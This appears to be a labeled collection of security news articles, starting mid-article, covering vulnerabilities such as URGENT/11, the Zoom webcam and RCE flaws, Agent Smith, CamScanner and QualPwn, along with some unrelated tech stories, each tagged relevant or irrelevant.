""VxWorks includes some optional mitigations that could make some of the URGENT/11 vulnerabilities harder to exploit, but these mitigations are rarely used by device manufacturers,"" the researchers say. Armis researchers believe URGENT/11 flaws might affect devices using other real-time operating systems as well, as IPnet was used in other operating systems prior to its acquisition by VxWorks in 2006. How Can Remote Attackers Exploit VxWorks Flaws? The exploitation of VxWorks IPnet vulnerabilities also depends upon the location of an attacker and the targeted vulnerable device; after all, the attacker's network packets should reach the vulnerable system. vxworks rtos vulnerability According to the researchers, the threat surface of URGENT/11 flaws can be divided into 3 attack scenarios, as explained below: Scenario 1: Attacking the Network's Defenses Since VxWorks also powers networking and security devices such as switches, routers, and firewalls that are usually reachable over the public Internet, a remote attacker can launch a direct attack against such devices, taking complete control over them, and subsequently, over the networks behind them. For example, there are over 775,000 SonicWall firewalls connected to the Internet at the time of writing that runs VxWorks RTOS, according to Shodan search engine. sonicwall firewall Scenario 2: Attacking from Outside the Network Bypassing Security Besides targeting Internet-connected devices, an attacker can also attempt to target IoT devices that are not directly connected to the Internet but communicates with its cloud-based application protected behind a firewall or NAT solution. According to the researchers, a potential attacker can use DNS changing malware or man-in-the-middle attacks to intercept a targeted device' TCP connection to the cloud and launch a remote code execution attack on it. Scenario 3: Attacking from within the Network In this scenario, an attacker who already has positioned himself within the network as a result of a prior attack can launch attacks against affected VxWorks powered devices simultaneously even when they have no direct connection to the Internet. ""The vulnerabilities in these unmanaged and IoT devices can be leveraged to manipulate data, disrupt physical world equipment, and put people's lives at risk,"" said Yevgeny Dibrov, CEO and co-founder of Armis. ""A compromised industrial controller could shut down a factory, and a pwned patient monitor could have a life-threatening effect."" ""To the best of both companies knowledge, there is no indication the URGENT/11 vulnerabilities have been exploited."" However, researchers also confirmed that these vulnerabilities do not impact other variants of VxWorks designed for certification, such as VxWorks 653 and VxWorks Cert Edition. Armis reported these vulnerabilities to Wind River Systems responsibly, and the company has already notified several device manufacturers and released patches to address the vulnerabilities last month. Meanwhile, affected product vendors are also in the process of releasing patches for their customers, which researchers believe will take time and be difficult, as is usually the case when it comes to IoT and critical infrastructure updates. SonicWall and Xerox have already released patches for its firewall devices and printers, respectively.",relevant
"Flaw in Zoom Video Conferencing Software Lets Websites Hijack Mac Webcams If you use Zoom video conferencing software on your Mac computer—then beware—any website you're visiting in your web browser can turn on your device camera without your permission. Ironically, even if you had ever installed the Zoom client on your device and simply uninstalled it, a remote attacker can still activate your webcam. Zoom is one of the most popular cloud-based meeting platforms that provide video, audio, and screen sharing options to users, allowing them to host webinars, teach online courses, conduct online training, or join virtual meetings online. In a Medium post published today, cybersecurity researcher Jonathan Leitschuh disclosed details of an unpatched critical security vulnerability (CVE-2019-13450) in the Zoom client app for Apple Mac computers, which if combined with a separate flaw, could allow attackers to execute arbitrary code on the targeted systems remotely. Jonathan responsibly reported the security vulnerability to the affected company over 90 days ago, but the Zoom team failed to offer a proper security patch, putting privacy and security of its over 4 million users at risk. The vulnerability leverages the click-to-join feature of the popular conferencing software that has been designed to automatically activate Zoom app installed on the system, allowing participants to quickly join a video-meeting through their web browser as soon as they click on an invite link, for example, https://zoom.us/j/492468757. Jonathan found that to offer this feature the Zoom software runs a local web server on the system—on port 19421—that ""insecurely"" receives commands through the HTTPS GET paraments and any website in your opened web browser can interact with it. Flaw in Zoom Video Conferencing Software To exploit this vulnerability an attacker needs to do is create an invite link through his account on the Zoom website and embed it on a third-party website as an image tag or using an iFrame and just convenience the targets into visiting that website. ""Enabling 'Participants: On' when setting up a meeting, I discovered that anyone joining my meeting automatically had their video connected,"" Jonathan said. As soon as Mac users with Zoom client installed on their system visits the malicious website, it will forcefully launch the Zoom app and turn on their webcam, exposing them to attackers. ""This could be embedded in malicious ads, or it could be used as a part of a phishing campaign. If I were actually an attacker, I'd probably invest some time to also include the incrementing port logic that the code in the Javascript running on Zoom's site,"" Jonathan said. Simply uninstalling the software is not enough to get rid of this problem as Jonathan explained the click-to-join feature also accepts a command that automatically reinstalls Zoom without users' intervention or permission. Besides turning on the webcam, the vulnerability can also be abused to DoS attack the targeted Mac computer by simply sending a large number of repeated GET requests to the local server. ""Zoom did end up patching this vulnerability, but all they did was prevent the attacker from turning on the user's video camera,"" Jonathan said. ""They did not disable the ability for an attacker to forcibly join a call anyone visiting a malicious site."" The vulnerability affects the latest version 4.4.4 of Zoom app for Mac. Flaw in Zoom Video Conferencing Software In addition to Zoom, Jonathan also disclosed the vulnerability to both the Chromium and Mozilla teams, but since the issue does not actually reside in their web browsers, there's not much these companies can do. However, the good news is that users can still fix this issue at their ends. All you need to do is manually disable the setting that allows Zoom to automatically turn your webcam on when joining a meeting. For this, just go into the Zoom settings window and enable the ""Turn off my video when joining a meeting"" setting. You can also run a series of Terminal commands, which you can find at the bottom of Jonathan's post, to uninstall the web server completely. Zoom Responded to the Researcher's Findings In a statement published later today, the company has acknowledged the issue but also added that ""because the Zoom client user interface runs in the foreground upon launch, it would be readily apparent to the user that they had unintentionally joined a meeting and they could change their video settings or leave immediately."" Besides this, the company said they have ""no indication"" if the reported issues had been exploited to breach the privacy of any of their users. Zoom also acknowledged other related concerns over its software and said the local denial of service (DOS) vulnerability reported by the researcher has already been fixed in May 2019, though the company said it did not force its users to update because it is ""empirically a low-risk vulnerability."" The company also said it installs a limited-functionality web server when users install Zoom client to offer one-click-to-join meetings feature that could avoid users' extra click before joining every meeting, but it did not comment on why the server remains installed on the local machine even when a user chooses to uninstall the client software.",relevant
"New Malware Replaced Legit Android Apps With Fake Ones On 25 Million Devices Are you sure the WhatsApp app you are using on your Android device is legitimate, even if it's working perfectly as intended? ...Or the JioTV, AppLock, HotStar, Flipkart, Opera Mini or Truecaller app—if you have installed any of these? I'm asking this because cybersecurity researchers just yesterday revealed eye-opening details about a widespread Android malware campaign wherein attackers silently replaced installed legitimate apps with their malicious versions on nearly 25 million mobile phones. Now the important question here is how they're doing it and why? According to researchers at Check Point, attackers are distributing a new kind of Android malware that disguises itself as innocent-looking photo editing, adult entertainment, or gaming apps and available through widely used third-party app stores. Dubbed Agent Smith, the malware takes advantage of multiple Android vulnerabilities, such as the Janus flaw and the Man-in-the-Disk flaw, and injects malicious code into the APK files of targeted apps installed on a compromised device and then automatically re-install/updates them without the victims' knowledge or interaction. ""It's not enough for this malware family to swap just one innocent application with an infected double. It does so for each and every app on the device as long as the package names are on its prey list,"" the researchers wrote in their report published Wednesday. ""Over time, this campaign will also infect the same device, repeatedly, with the latest malicious patches. This leads us to estimate there to be over 2.8 billion infections in total, on around 25 Million unique devices, meaning that on average, each victim would have suffered roughly 112 swaps of innocent applications."" android malware hacking The malware, which researchers believe is tied to a China-based firm, has been designed for financial gain by serving malicious advertisements to victims. How Does Agent Smith Malware Work? Upon installation of boobytrapped apps, the Agent Smith malware leverages a three-stage infection chain and contains different modules for each step, working of which are explained below: 1.) Loader Module — The initial app distributing the malware contains a module called Loader, whose only purpose is to decrypt, extract, and run the second stage module named Core. 2.) Core Module — Once executed, the Core module communicates with the attackers' C&C server to receive a list of popular apps that needs to be targeted. android-hacking If it finds a match installed on the victim's device, the Core module tries to infect the targeted APK using the Janus vulnerability or by simply recompiling the APK with a malicious payload. Further, to automatically install the modified APK and replace its original version without users' consent, attackers utilize a series of 1-day vulnerabilities, including man-in-the-disk attack. 3.) Boot Module — This module is included in the malicious payload that was bundled with the original app and worked the same as the Loader module. It extracts and executes a malicious payload, called the Patch module when a victim runs the modified application. 4.) Patch Module — The patch module has been designed to prevent modified applications from getting legitimate updates, which if installed, would revert all malicious changes. ""While investing a lot of resources in the development of this malware, the actor behind Agent Smith does not want a real update to remove all of the changes made, so here is where the Patch module comes in to play"" ""With the sole purpose of disabling automatic updates for the infected application, this module observes the update directory for the original application and removes the file once it appears."" 6.) AdSDK Module — This is the actual payload that displays ads to the victims for financial gain and further also infects the device with other adware families. However, the researchers warn that this modular malware could be easily adapted for far more intrusive and harmful purposes, such as stealing sensitive information—from private messages to banking credentials and much more. Researchers initially encountered the Agent Smith malware in early 2019, which was primarily being found targeting Android devices in India (with 15 million infected devices) and other nearby Asian countries like Pakistan, Bangladesh, Indonesia, and Nepal. android malware hacking However, the malware also affected a noticeable number of devices in the United States (more than 300,000 infected devices), Australia (over 140,000 infected devices) and the United Kingdom (over 135,000 infected devices). Besides third-party app stores, researchers also found at least 11 infected apps on the Google Play Store in recent months containing malicious yet inactive Agent Smith components. This clearly indicates that the threat actors behind this malware campaign are also trying to find a way in Google's mobile app download platform to spread their adware. Google has reportedly removed all the apps from its store. Since Agent Smith has mostly infected users who downloaded apps from third-party app stores, users are highly recommended always to download apps from trusted app stores to mitigate the risk of infection. Also, download apps only from trusted developers. Users are also advised to uninstall any apps they suspect may be malicious by heading on to Settings Menu, clicking Apps or Application Manager, and then Scroll to the suspected app and uninstall it. Since the key vulnerability Agent Smith is exploiting dates back to 2017 and has already been patched, mobile app developers are recommended to implement the latest APK Signature Scheme V2 to prevent malicious apps from leveraging Android's Janus vulnerability against their apps.",relevant
"Zoom RCE Flaw Also Affects Its Rebranded Versions RingCentral and Zhumu The same security vulnerabilities that were recently reported in Zoom for macOS also affect two other popular video conferencing software that under the hood, are just a rebranded version of Zoom video conferencing software. Security researchers confirmed The Hacker News that RingCentral, used by over 350,000 businesses, and Zhumu, a Chinese version of Zoom, also runs a hidden local web server on users' computers, just like Zoom for macOS. The controversial local web server that has been designed to offer an automatic click-to-join feature was found vulnerable to remote command injection attacks through 3rd-party websites. Security researcher Jonathan Leitschuh initially provided a proof-of-concept demonstrating how the vulnerable web server could eventually allow attackers to turn on users laptop's webcam and microphone remotely. The flaw was later escalated to remote code execution attack by another security researcher, Karan Lyons, who has now published a new video demonstration confirming the same RCE flaw in RingCentral and Zhumu for macOS users. RingCentral has already released an updated version (v7.0.151508.0712) of its meeting app for macOS that patches both vulnerabilities by removing the vulnerable web server installed by the video conferencing software. As explained in our previous article by Mohit Kumar, Apple released a silent update for its macOS users to remove the Zoom local web server (ZoomOpener daemon) for all users. Therefore, users who are still using the RingCentral video conferencing software are highly recommended to update their systems to the latest patched version of the software. ""All users that have installed RingCentral Meetings on MacOS should accept the update. Please ensure that all RingCentral Meetings MacOS versions prior to v7.0.151508.0712 are removed,"" the company says. ""RingCentral is continuing to work on addressing the General Concern related to 'Video ON Concern' for additional platforms. We will continue to provide updates."" However, the software update could not protect former customers who are not using the software anymore but have the vulnerable web-server still activated on their systems unknowingly. Those users are advised to remove the hidden web server manually by running commands provided by the researcher on GitHub. However, the Chinese app Zhumu has not yet released a patch for their software, but users can still uninstall the server following the same terminal commands. Update: Apple Update Removes Vulnerable Server Installed By 10 Zoom-Powered Software Security researcher Karan confirmed The Hacker News that there are a total of 10 rebranded versions of Zoom software, listed below, available in the market, including RingCentral Zhumu. All these video conferencing software work in the way and contain the same vulnerabilities, leaving their users at risk of remote hacking as well. RingCentral Zhumu Telus Meetings BT Cloud Phone Meetings Office Suite HD Meeting AT&T Video Meetings BizConf Huihui UMeeting Zoom CN Karan also confirmed that Apple's latest silent MTR (Malware Removal Tool) update 1.46 removes the vulnerable web server installed on users' Mac computers by any of the software as mentioned above.",relevant
"Zoom Video Conferencing for macOS Also Vulnerable to Critical RCE Flaw The chaos and panic that the disclosure of privacy vulnerability in the highly popular and widely-used Zoom video conferencing software created earlier this week is not over yet. As suspected, it turns out that the core issue—a locally installed web server by the software—was not just allowing any website to turn on your device webcam, but also could allow hackers to take complete control over your Apple's Mac computer remotely. Reportedly, the cloud-based Zoom meeting platform for macOS has also been found vulnerable to another severe flaw (CVE-2019-13567) that could allow remote attackers to execute arbitrary code on a targeted system just by convincing users into visiting an innocent looking web-page. As explained in our previous report by Swati Khandelwal, the Zoom conferencing app contained a critical vulnerability (CVE-2019-13450) that resides in the way its click-to-join feature is implemented, which automatically turns on users' webcam when they visit an invite link. Both vulnerabilities stem from a controversial local web server—runs on port 19421—that Zoom client installs on users' computers to offer the click-to-join feature. There were primarily two issues that security researcher Jonathan Leitschuh highlighted—firstly, local server ""insecurely"" receives commands over HTTP, allowing any website to interact with it, and secondly, it doesn't get uninstalled when users remove the Zoom client from their systems, leaving them vulnerable forever. Immediately after receiving a high criticism from all sides, the company released an emergency update for its software to remove the vulnerable web server (ZoomOpener daemon) implementation altogether. However, the software update could not protect former customers who are not using the software anymore but have the vulnerable web-server still activated on their systems unknowingly. Worryingly, according to an advisory published by National Vulnerability Database (NVD), the newly discovered RCE flaw also works against users who have already uninstalled the conferencing software, but its web server is still activated and listens on port 19421. Meanwhile, to help its users, Apple surprisingly yesterday stepped-in and silently pushed an update for all macOS users that automatically removes the Zoom web server without requiring any user interaction, doesn't matter if you're still using the conferencing software or not. The technical details of the new remote code execution flaw in Zoom client for macOS are not yet available, but Jonathan and other researchers confirmed, and demonstrated the existence of a working proof-of-concept exploit, as shown in the video above. We will share more details on this new RCE flaw with our readers through The Hacker News official Twitter account, as soon as they are available. To protect against both vulnerabilities, Zoom users are highly recommended to install the latest system updates, as well as immediately upgrade to Zoom client version 4.4.53932.0709 or simply uninstall the software and only use the browser version of the meeting client.",relevant
"WARNING — Malware Found in CamScanner Android App With 100+ Million Users Beware! Attackers can remotely hijack your Android device and steal data stored on it, if you are using free version of CamScanner, a highly-popular Phone PDF creator app with more than 100 million downloads on Google Play Store. So, to be safe, just uninstall the CamScanner app from your Android device now, as Google has already removed the app from its official Play Store. Unfortunately, CamScanner has recently gone rogue as researchers found a hidden Trojan Dropper module within the app that could allow remote attackers to secretly download and install malicious program on users' Android devices without their knowledge. However, the malicious module doesn't actually reside in the code of CamScanner Android app itself; instead, it is part of a 3rd-party advertising library that recently was introduced in the PDF creator app. Discovered by Kaspersky security researchers, the issue came to light after many CamScanner users spotted suspicious behavior and posted negative reviews on Google Play Store over the past few months, indicating the presence of an unwanted feature. ""It can be assumed that the reason why this malware was added was the app developers' partnership with an unscrupulous advertiser,"" the researchers said. The analysis of the malicious Trojan Dropper module revealed that the same component was also previously observed in some apps pre-installed on Chinese smartphones. ""The module extracts and runs another malicious module from an encrypted file included in the app's resources,"" researchers warned. ""As a result, the owners of the module can use an infected device to their benefit in any way they see fit, from showing the victim intrusive advertising to stealing money from their mobile account by charging paid subscriptions."" Kaspersky researchers reported its findings to Google, who promptly removed the CamScanner app from its Play Store, but they say ""it looks like app developers got rid of the malicious code with the latest update of CamScanner."" Despite this, the researchers advised users to just keep in mind ""that versions of the app vary for different devices, and some of them may still contain malicious code."" It should be noted that since the paid version of the CamScanner app doesn't include the 3rd-party advertising library and thus the malicious module, it is not affected and is still available on the Google Play Store. Although Google has stepped up its efforts to remove potentially harmful apps from Play Store in the last few years and added more stringent malware checks for new apps, legitimate apps can go rogue overnight to target millions of its users. ""What we can learn from this story is that any app — even one from an official store, even one with a good reputation, and even one with millions of positive reviews and a big, loyal user base —can turn into malware overnight,"" the researchers concluded. Therefore, you are strongly advised to always keep a good antivirus app on your Android device that can detect and block such malicious activities before they can infect your device. In addition, always look at the app reviews left by other users who have downloaded the app, and also verify app permissions before installing any app and grant only those permissions that are relevant for the app's purpose. For more technical detail about the Trojan Dropper malware found in CamScanner and a full list of its indicators of compromise (IOCs) including MD5 hashes and its command and control server domains, you can head on to Kaspersky's report.",relevant
"Android Users Can Now Log in to Google Services Using Fingerprint If you're using Chrome on Android, you can now sign-in to your Google account and some of the other Google services by simply using your fingerprint, instead of typing in your password every time. Google is rolling out a new feature, called ""local user verification,"" that allows you to log in to both native applications and web services by registering your fingerprint or any other method you've set up to unlock your Android device, including pins, pattern or password. The newly introduced mechanism, which has also been named ""verify it's you,"" takes advantage of Android's built-in FIDO2 certified security key feature that Google rolled out earlier this year to all devices running Android version 7.0 Nougat or later. Besides FIDO2 protocol, the feature also relies on W3C WebAuthn (Web Authentication API) and FIDO Client to Authenticator Protocol (CTAP), which are designed to provide simpler and more secure authentication mechanism that sites can use for secure web-based logins. It should be noted that your fingerprint is never sent to Google servers; instead, the design works by only sharing a cryptographic proof that you've correctly authenticated using the registered platform-bound FIDO credential. ""Now, when the user visits a compatible service, such as passwords.google.com, we issue a WebAuthn 'Get' call, passing in the credentialId that we got when creating the credential. The result is a valid FIDO2 signature,"" Google explains in a post published today. For now, Google has added this functionality to ""passwords.google.com,"" an online platform where you can view and edit your saved passwords. Users with Android 7.0 (Nougat) or later, can set it up if they have a valid screen lock enabled and Google account added to their devices. Google is working on expanding and adding this functionality to more Google and Google Cloud services in the near future. The feature would be useful for people who follow basic security practices of creating strong and unique passwords for each website but face trouble in remembering them. Besides this, you are also highly recommended to enable two-step verification, including Titan Security Keys and Android phone's built-in security key, for your online accounts that would prevent hackers from gaining access to your accounts even when they have your password. Google has already started rolling out this new feature for some Android phones, and will make it available for all Android smartphones running Android 7 or later ""over the next few days.""",irrelevant
"New Flaws in Qualcomm Chips Expose Millions of Android Devices to Hacking A series of critical vulnerabilities have been discovered in Qualcomm chipsets that could allow hackers to compromise Android devices remotely just by sending malicious packets over-the-air with no user interaction. Discovered by security researchers from Tencent's Blade team, the vulnerabilities, collectively known as QualPwn, reside in the WLAN and modem firmware of Qualcomm chipsets that powers hundreds of millions of Android smartphones and tablets. According to researchers, there are primarily two critical vulnerabilities in Qualcomm chipsets and one in the Qualcomm's Linux kernel driver for Android which if chained together could allow attackers to take complete control over targeted Android devices within their Wi-Fi range. ""One of the vulnerabilities allows attackers to compromise the WLAN and Modem over-the-air. The other allows attackers to compromise the Android Kernel from the WLAN chip. The full exploit chain allows attackers to compromise the Android Kernel over-the-air in some circumstances,"" researchers said in a blog post. The vulnerabilities in question are: CVE-2019-10539 (Compromising WLAN) — The first flaw is a buffer overflow issue that resides in the Qualcomm WLAN firmware due to lack of length check when parsing the extended cap IE header length. CVE-2019-10540 (WLAN into Modem issue) — The second issue is also a buffer-overflow flaw that also resides in the Qualcomm WLAN firmware and affects its neighborhood area network (NAN) function due to lack of check of count value received in NAN availability attribute. CVE-2019-10538 (Modem into Linux Kernel issue) — The third issue lies in Qualcomm's Linux kernel driver for Android that can be exploited by subsequently sending malicious inputs from the Wi-Fi chipset to overwrite parts of Linux kernel running the device's main Android operating system. Once compromised, the kernel gives attackers full system access, including the ability to install rootkits, extract sensitive information, and perform other malicious actions, all while evading detection. Though Tencent researchers tested their QualPwn attacks against Google Pixel 2 and Pixel 3 devices that are running on Qualcomm Snapdragon 835 and Snapdragon 845 chips, the vulnerabilities impact many other chipsets, according to an advisory published by Qualcomm. ""IPQ8074, MDM9206, MDM9607, MDM9640, MDM9650, MSM8996AU, QCA6174A, QCA6574, QCA6574AU, QCA6584, QCA8081, QCA9379, QCS404, QCS405, QCS605, Qualcomm 215, SD 210/SD 212/SD 205, SD 425, SD 427, SD 430, SD 435, SD 439 / SD 429, SD 450, SD 625, SD 632, SD 636, SD 665, SD 675, SD 712 / SD 710 / SD 670, SD 730, SD 820, SD 820A, SD 835, SD 845 / SD 850, SD 855, SD 8CX, SDA660, SDM439, SDM630, SDM660, SDX20, SDX24, SXR1130"" Researchers discovered the QualPwn vulnerabilities in February and March this year and responsibly reported them to Qualcomm, who then released patches in June and notified OEMs, including Google and Samsung. Google just yesterday released security patches for these vulnerabilities as part of its Android Security Bulletin for August 2019. So, you are advised to download the security patches as soon as they are available Since Android phones are infamously slow to get patch updates, researchers have decided not to disclose complete technical details or any PoC exploit for these vulnerabilities anytime soon, giving end-users enough time to receive updates from their device manufacturers.",relevant
"Apple will now pay hackers up to $1 million for reporting vulnerabilities Apple has just updated the rules of its bug bounty program by announcing a few major changes during a briefing at the annual Black Hat security conference yesterday. One of the most attractive updates is… Apple has enormously increased the maximum reward for its bug bounty program from $200,000 to $1 million—that's by far the biggest bug bounty offered by any major tech company for reporting vulnerabilities in its products. The $1 million payouts will be rewarded for a severe deadly exploit—a zero-click kernel code execution vulnerability that enables complete, persistent control of a device's kernel. Less severe exploits will qualify for smaller payouts. What's more? From now onwards, Apple's bug bounty program is not just applicable for finding security vulnerabilities in the iOS mobile operating system, but also covers all of its operating systems, including macOS, watchOS, tvOS, iPadOS, and iCloud. apple bug bounty program payouts Since its inception around three years ago, Apple's bug bounty program only rewards security researchers and bug bounty hunters for discovering vulnerabilities in the iOS mobile operating system, which will continue until the expanded program comes into effect this fall. Are you excited? Here's a special iPhone that can be yours... From next year, Apple will also provide pre-jailbroken iPhones to a selection of trusted security researchers as part of the iOS Security Research Device Program. The new program was first reported by Forbes. These devices will have far deeper access than iPhones available to everyday users, including access to ssh, root shell, and advanced debug capabilities, allowing researchers to hunt for vulnerabilities at the secure shell level. Though anyone can apply to receive one of these special iPhones from Apple, the company will hand out only a limited number of these devices and only to qualified researchers. Not compelling enough? Bonus rewards are also waiting for you... On top of its maximum reward of $1 million, Apple is also offering a 50% bonus to researchers who find and report security vulnerabilities in its pre-release software (beta version) before its public release—bringing its maximum reward to $1.5 million. You can apply for Apple's revised bug bounty program later this year, which will be open to all researchers, rather than a limited number of security experts approved by Apple. The expansion and massive boost in the payout of Apple's bug bounty program are likely to be welcomed by security researchers and bug bounty hunters who either publicly disclose vulnerabilities they discovered in Apple products or sell it to private vendors like Zerodium, Cellebrite, and Grayshift who deal in zero-day exploits, for profit.",irrelevant
"Apple Releases iOS 12.4.1 Emergency Update to Patch 'Jailbreak' Flaw Apple just patched an unpatched flaw that it patched previously but accidentally unpatched recently — did I confuse you? Let's try it again... Apple today finally released iOS 12.4.1 to fix a critical jailbreak vulnerability, like it or not, that was initially patched by the company in iOS 12.3 but was then accidentally got reintroduced in the previous iOS 12.4 update. For those unaware, roughly a week ago, an anonymous researcher who goes by the online alias ""Pwn20wnd"" released a free jailbreak for iOS 12.4 on GitHub that exploited a kernel vulnerability (CVE-2019-8605) that Apple patched in iOS 12.3 in May this year. However, the vulnerability accidentally got reintroduced in iOS 12.4 in July, making it easier for hackers to jailbreak updated Apple devices, including the iPhone XS, XS Max, and XR or the 2019 iPad Mini and iPad Air, running iOS 12.4 and iOS 12.2 or earlier. Now, Apple has released iOS 12.4.1 to re-patch the security issue that not only allowed for jailbreaking but could have also allowed hackers or malicious applications to execute arbitrary code on a target Apple device with the highest level of privileges, i.e., system privileges. Jailbreaking an iPhone gives you more control over your device by allowing you to install apps and other functions that are usually not approved by Apple, but it comes with its downside. Jailbreaking also disables some system protections that the company has put in place to protect its users, exposing users to malicious apps from the App Store and eventually opening them to potential security risks. Though Jailbreakers are advising users not to apply iOS 12.4.1 as it closes the exploit, I would personally recommend you to apply the security update as soon as possible if you really care about security. To install the latest update, which features ""important security and stability updates,"" navigate to your device's Settings → General → Software Update and tap ""Download and Install"" given right at the bottom. Alternatively, you can also update your Apple device to iOS 12.4.1 through iTunes by connecting your iOS device to a computer and checking for the update. In its security update note, Apple also acknowledged Pwn20wnd, who released the public jailbreak, for bringing the vulnerability to their attention. ""We would like to acknowledge @Pwn20wnd for their assistance,"" the company wrote.",relevant
"Apple Changes the Way It Listens to Your Siri Recordings Following Privacy Concerns Apple today announced some major changes to its controversial 'Siri audio grading program' following criticism for employing humans to listen to audio recordings of users collected via its voice-controlled Siri personal assistant without their knowledge or consent. The move came a month after The Guardian reported that third-party contractors were regularly listening to private conversations of Apple users giving voice commands to Siri in a bid to improve the quality of its product's response. While the data received by the contractors were anonymized and not associated to Apple devices, the private conversations—which also includes private discussions between doctors and patients, business deals, seemingly criminal dealings, people having sex and so on—sometimes reveal identifiable details like a person's name or medical records. In response to the backlash Apple received after the report went public, the company initially responded by temporarily suspending the program earlier this month while it thoroughly reviewed its practices and policies. Now, Apple today revealed that the company intends to continue that program in the fall, but only after making three significant changes to it, as mentioned below: First, Apple will no longer retain audio recordings of Siri interactions by default. Instead, the company will continue to use computer-generated transcripts to help Siri improve. Second, Apple will allow users to opt-in to having their audio recordings listened to by human reviewers to help improve Siri's responses. Users who choose to participate can opt-out at any time. Third, if you opt in to the grading program, only Apple employees will be allowed to listen to audio samples of your Siri interactions, rather than third-party contractors. The company also aims to delete Siri recordings when it determines users triggered it accidentally. As a result of these changes, at least 300 contractors in Europe who were part of Apple's grading program have lost their jobs, The Irish Times reports. Besides announcing the changes, Apple also assured its users that its Siri personal assistant has never been used outside the company, saying: ""When we store Siri data on our servers, we don't use it to build a marketing profile, and we never sell it to anyone. We use Siri data only to improve Siri, and we are constantly developing technologies to make Siri even more private."" The next iOS software update for iPhones is expected to be released in early October and could be the one where Apple would have been able to implement the promised opt-out capability to its Siri grading system. Apple is not the only major technology company that has been found listening to its smart assistant recordings and forced to rethink its approach to reviewing users' audio recordings amid privacy concerns. Earlier this month, Google temporarily stopped human contractors from listening to Assistant recordings around the world. Amazon also changed its settings to its users opt-out of having their Alexa recordings reviewed by humans.",irrelevant
"Let Experts Do Their Job – Managed WAF by Indusface WAF (Web Application Firewall) has been the first line of defence when it comes to application security for a while now. Many organizations have adopted WAF in one form or the other and most cases, compliance has been the driver for adoption. But unfortunately, when it comes to the efficacy of WAF in thwarting attacks, it has not lived up to the expectations. In most organizations, WAF has always remained in log mode with a little process to monitor and react, rendering the solution ineffective. The major challenge with effective deployment of WAF is: Applications are unique, and there is no silver bullet set of rules that will protect them all, Most WAF's do not try to understand the risk profile of the application; they end up providing common out of box vanilla rules that seldom works. Each application has its own intricacies and the out of the box rules that many WAF vendors provide create a lot of FPs (False Positives) or FNs (False Negatives), For proper implementation of WAF, there is a need to understand the context of the application and constant fine-tuning of rules to reduce FPs and FNs, But this is easier said than done. Fine-tuning of the rules need expertise, and its efficacy depends on how well the solution can understand the context of the application and how effectively rules can be tweaked to meet the applications need and act as an effective first line of defence. Not many organizations have this expertise, with the constantly changing applications, in-house security team tends to take a reactive approach, and in case of any issues, they usually tend to open up the rules or move the rules to log mode, without understanding the consequences of making the entire solution ineffective. Only way WAF deployments will work as an effective defence against attacks is to have it managed by experts who know what they are doing, and it cannot be a one-time activity, it needs to be constant monitoring and fine-tuning. Welcome to the world of AppTrana – the only fully managed Application security solution. How is AppTrana different? AppTrana is the only solution in the market, as claimed by the company, that takes a more comprehensive approach when it comes to application security. Unlike traditional vendors, AppTrana does not give default rules and ask the customer to manage them, instead it starts with understanding the risk profile of application through its detection module which scans the application for vulnerabilities, based on the detection, rules are written and tweaked to meet the application need ensuring there are no FPs with very little FNs. The rules are tweaked by AppTrana's security experts who have years of experience handling WAF security for thousands of sites, so they know what they are doing. And it does not stop there; the team of experts continuously monitors the security space and keep the rules updated, ensuring all zero-day vulnerabilities are immediately protected. Not only that, in case of FPs due to any new changes in the application, the team would immediately tweak the rules to ensure the issue are immediately resolved without the need for opening up WAF and moving the rules to log mode. Generally, all application under AppTrana protection has its rules in block mode. Under the hood: Let's look under the hood and see what kind of managed services do AppTrana actually provide. Proof-of-concept (PoC) Anyone who has used any application security testing solution will be aware that the biggest concern is the FPs. If scanners provide reports about vulnerabilities which are not present, then it could be very costly, as it might mean the application team is forced into a wild goose chase with no actual returns. That said, it is the nature of application scanning that there will be some FP's. If the solution tries to avoid all FPs, it will lead to FNs, which is more dangerous. It is to solve this conundrum that Indusface has introduced POC. One might be aware of the term ""Proof of concept,"" Apptrana has extended this concept to vulnerability findings. For vulnerabilities found by Apptrana scanner, customers can request for Proof of concept from the portal. web application vulnerability scanner This request would be sent to our Managed Service team who would verify the vulnerability found and provide a proof for the presence of vulnerability. They would provide screenshots and/or steps to reproduce so that proof is present that the vulnerability exists. In case the vulnerability does not exist, the team ensures the alert is removed so that it does not show up in the next scan. This way, the FP's are effectively weaved out without compromising on FNs. Premium Plan comes with unlimited POC's Advance Plan comes with 5 POC's Premium Rules A site that is onboard for AppTrana protection is onboard with Advance Rules in block mode. This means protection for the site will start immediately. To avoid FP's and disruption of normal service, any rules that we suspect that can be prone to FP's are put in log mode at this point of time. Once a site is onboard, a service request is sent to MSS team who would monitor the traffic pattern for 14 days and based on logs observed for these rules, will determine if these rules in log mode are triggered for any genuine users/requests. web application vulnerability scanner If there are any cases, they tweak the rules specific to the application to avoid FPs without causing FNs. Once the changes are made, these rules are moved to block mode, and the site is considered to be under protection with Premium Rules. Users can check the status of this from the portal. As the name goes, Only Premium customers are moved to Premium Rules. Custom Rules As already mentioned, AppTrana helps you understand the risk profile of the site and then protect them. When a website is onboard, automated scans start immediately, and vulnerabilities found will be displayed in the detect page. web application vulnerability scanner But the real value starts only after this, in the detect page customers can also see the protection status against these vulnerabilities. They will tell if the vulnerabilities are protected or not. A green tick means the vulnerabilities are already protected. If they show a red icon as shown below, then it is not protected. web application vulnerability scanner Customers can click on the protection status to know how vulnerability can be protected. If you check the 'Protected By' column, you will see different icons: CR- Can be protected by Custom Rule AR- Can be protected by Advance Rule PR – Can be protected by Premium Rule. Under the protection status, if they see 'Applied,' it means the rules are already applied. In case a rule is not applied then 'Custom Rule' button will show up, in which case a customer can click on custom rule button at which point a service request will be sent to our Managed service team who would write a tailor-made custom rule for the site to protect against the vulnerability detected. There is no need for customers to write any rule or have any expertise to understand the integrity of how rules need to be written. Premium plan provides unlimited custom rule Advance plan comes with two custom rules Monitoring Last but not least, the job of AppTrana's managed service team never ends, our managed team continuously monitors the traffic, and in case of any abnormalities take necessary corrective actions. The team also constantly monitors the security landscape for any new vulnerabilities (zero-day vulnerabilities) and continuously keep the security posture updated. The rules are updated continuously, and, on average, rules will be updated every week for any site. web application vulnerability scanner Customers can track the monitoring activities from the monitoring page in the portal. In case of any FPs reported the team immediately jumps in and tweaks the rule ensuring business continuity without compromising security. Get started with AppTrana's fully managed application security solution with a 14-day free trial and experience its uniqueness first-hand.",irrelevant
